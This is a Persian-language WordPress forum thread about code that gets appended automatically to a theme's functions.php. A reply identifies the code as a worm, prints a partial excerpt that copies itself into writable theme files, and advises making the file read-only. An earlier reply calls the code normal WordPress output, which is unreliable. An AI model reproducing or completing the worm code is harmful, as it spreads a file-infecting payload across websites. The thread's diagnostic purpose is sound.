رفتن به مطلب
021

مشکل با اضافه شدن خودکار کدها در فایل functions.php

پست های پیشنهاد شده

سلام

وقتی پوسته وردپرس رو در حالتی که دیباگ فعاله انتخاب میکنم با اخطارهای زیر روبرو میشم :

11.jpg

البته قبلش فایل فاکنشن رو چک کردم چیزی به جز کدهایی که خودم بهش اضافه کرده بودم نبود ولی بعد از فعال کردن پوسته کدهای زیر به آخر فایل فانکشن به صورت اتوماتیک اضافه شد ... :

ggg.jpg

میخوام بدونم باید چیکار کنم که این کدها اتوماتیک به فانکشن اضافه نشن ...

ممنون

به اشتراک گذاری این ارسال


لینک به ارسال

این کدها رو وردپرس اضافه میکنه

میتونید حذف کنید

و همچنین برای تکرار نشدن این مسئله permission نوشتن را از فایل بگیرید

به اشتراک گذاری این ارسال


لینک به ارسال

ممنون آقا پارسا . راستش من میخوام قالبو بدم به یه نفر دیگه ... میخوام وقتی قالبو فعال میکنه این کدها اضافه نشن .. آیا میشه توی خود پوسته از کدی استفاده کرد که این کدها اتوماتیک لود نشن ؟؟

یه سوال دیگه هم داشتم :

بعضی وقتها که من تگها رو کپی میکنم و توی قالب میذارم مخصوصا تو header.php یه فاصله 26 پیکسلی به غیر از نوار مدیریت بالای هیدر سایت میافته ... باید چیکار کنم که این فاصله اضافه ایجاد نشه ؟

ویرایش شده توسط 021

به اشتراک گذاری این ارسال


لینک به ارسال

سلام

این کدها Worm هستند:


<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
.
.
.
.
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

فایل functions.php شما دارای این Worm هست و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه و همچنین برای فایل functions.php دیگر پوسته ها این سطح دسترسی را نیز حتماً رعایت کنید.

به اشتراک گذاری این ارسال


لینک به ارسال

درست شد ممنون آقای حسینی ,

یه سوال دیگه هم داشتم:

بعضی وقتها که من تگها رو کپی میکنم و توی قالب میذارم مخصوصا تو header.php یه فاصله 26 پیکسلی به غیر از نوار مدیریت بالای هیدر سایت میافته ... باید چیکار کنم که این فاصله اضافه ایجاد نشه؟

یعنی ممکنه از کپی و پیس کردن تگها باشه ؟

به اشتراک گذاری این ارسال


لینک به ارسال

یه سوال دیگه هم داشتم :

بعضی وقتها که من تگها رو کپی میکنم و توی قالب میذارم مخصوصا تو header.php یه فاصله 26 پیکسلی به غیر از نوار مدیریت بالای هیدر سایت میافته ... باید چیکار کنم که این فاصله اضافه ایجاد نشه ؟

وجود تابع فوتر:


<?php wp_footer(); ?>

قبل از بسته شدن تگ های body و html و تابع هدر :


<?php wp_head(); ?>

قبل از بسته شدن تگ head را چک کنید.

به اشتراک گذاری این ارسال


لینک به ارسال

سلام

این کدها Worm هستند:


<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
.
.
.
.
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

فایل functions.php شما دارای این Worm هست و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه و همچنین برای فایل functions.php دیگر پوسته ها این سطح دسترسی را نیز حتماً رعایت کنید.

دوست عزیز از پاسخ بسیار دقیق و راهنمایی شما بسیار بسیار سپاسگزارم

راستش من هم دچار این مشکل بودم و اصلا نمی تونستم جلوی تکثیر این worm رو بگیرم و با راهنمایی شما این کار انجام شد

فقط می خوام بدونم آیا این کرم فایلهای دیگر رو هم دستکاری می کنه یا نه فقط فایل فانکشن رو تغییر میده؟؟؟؟؟

یه سوال دیگه هم اینکه این مشکل رو ریشه ای چطور می تونم حل کنم؟؟ یعنی خود worm رو پاکسازی کنم تا بعدا دوباره مشکلی ایجاد نشه؟؟؟؟

خیلی ممنون

به اشتراک گذاری این ارسال


لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.


  • مطالب مشابه

    • توسط aliresadeghi
      سلام دوستان من یه قالب روی سایتم ایمپورت کردم 
      فهرست رو میخوام ویرایش کنم و فهرست دلخواه خودم نمایش داده بشه ولی از بخش فهرست ها  فهرستی که الان رو سایت هست رو
      نمایش نمیده که بتونم ویرایش کنم ممنون میشم راهنمایی کنید
    • توسط nematam
      سلام مشکل قالب سایت که جدید نصب میکنم ادامه مطلب میرم لینک های دانلود نمیاره
           
    • توسط nokte
      بنده سایتم را به سرور جدید منتقل کردم و از طریق درون ریزی خود ورد پرس پست هایم را به سایت جدید انتقال دادم و همه پست ها بدون مشکل منتقل شد ولی متاسفانه تصاویر آن منتقل نشد. برای حل این مشکل تصاویر را که در فولدر public_html/wp-content/uploads روی هاست قبلی بود را به هاست جدید درهمین مسیر منتقل کردم ولی متاسفانه تصاویر مطالبم لود نمی شود. نه تصاویر کچک نه بزرگ. همچنین در قسمت رسانه ها در پنل مدیریت هم تصاویر را مشاهده نمیکنم . انگار ورد پرس هنوز متوجه نشده تصاویری در قسمت رسانه روی هاست در فولدر آپلود وجود دارد.
      حتی من در هاست قبلی هم مجددا از از قسمت ابزار ها > برون ریزی ، رسانه ها به صورت جدا برون ریزی کردم  و در هاست جدید درون ریزی کردم و تیک دانلود و درون‌ریزی فایل‌های پیوست را هم زدم  ولی برای همه فایل ها اررور میداد که انپورت فلان تصویر با مشکل مواجه شد و برای همه تصاویر پشت سر هم این ارور را میداد. اگر تصاویر را از روی هاست فعلی بخواند که وجود دارد پس مشکل از چیست؟ 
       
      لطفا راهنمایی کنید چطور رسانه ها را اینپورت کنم؟ یا بهتره بگویم چطور تصاویر را در هاست جدید نمایش دهم . 
      لزم است بگویم فقط از این روش میخواهم عمل کنم و از روش اینپورت دمو و .. نمیخوام چون وررژش وردپرسم را بالا بردم و ورژن php  را هم از 5.6 به روی 7.2 تنظیم کردم و فقط میخواهم مطالب هاست قبلی روی هاست جدید بیاد نه وردپرس قدیمی.
    • توسط mhm5000
      سلام دوستان می‌خواستم بدون چطور میشه آخرین بروز رسانی کل سایت رو نشون داد...
      از بین تمام مطالب و صفحات و...
       
      کسی کد فانکشنش رو داره؟
       
      معمولا سایت‌های خبری / دولتی یه تیکه بالای سایت نشون میدن آخرین بروزرسانی... همون!
       
      ممنون
      موفق باشید
    • توسط ahmad4u
      سلام دوستان
      با قرار دادن کد زیر در فانکشن تمام لینک های موجود در متن حذف میشه
      add_filter('the_content', 'removelink_content',1); function removelink_content($content = '') { preg_match_all("#<a(.*?)>(.*?)</a>#i",$content, $matches); $num = count($matches[0]);for($i = 0;$i < $num;$i++){ $content = str_replace($matches[0][$i] , $matches[2][$i] , $content); } return $content; } حالا میخوام همه لینک ها حذف نشه بلکه یکسری لینک هایی که بهش میدم حذف بشه و یکسری لینک هایی که آخرشون متغیر هست مثل (site.com/tag/1125)
      لطفا راهنمایی کنید کد بالا چه تغییری باید بکنه
       
      تشکر
×
×
  • اضافه کردن...